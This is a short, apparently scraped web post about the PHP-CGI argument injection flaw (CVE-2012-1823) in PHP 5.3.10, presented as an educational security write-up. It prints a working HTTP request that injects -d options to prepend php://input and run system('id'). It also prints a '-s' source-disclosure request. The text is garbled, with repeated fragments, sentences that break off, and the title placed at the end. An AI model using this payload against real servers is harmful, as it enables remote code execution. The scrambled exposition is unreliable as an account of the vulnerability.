Php 5.3.10 Exploit < PC FREE >

When PHP is run in CGI mode (using php-cgi ), the web server passes request data to the PHP binary via command-line arguments. Normally, a request to index.php translates to:

POST /?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1 Host: vulnerable.com Content-Type: application/x-www-form-urlencoded Content-Length: 25 <?php system('id'); ?> php 5.3.10 exploit

GET /?-s HTTP/1.1 Host: vulnerable.com The server tries to execute: When PHP is run in CGI mode (using

While this specific vector is mostly extinct in modern cloud infrastructure, it lives on in embedded systems and legacy internal networks. If you find this during a penetration test, you have effectively found a "Golden Ticket" to execute system commands. This post is written from a security researcher

This post is written from a security researcher / educational perspective. It explains the "CGI Argument Injection" vulnerability (CVE-2012-1823), which is the most critical exploit associated with this specific version. Title: Revisiting the Ghost of PHP 5.3.10: The CGI Argument Injection Exploit (CVE-2012-1823)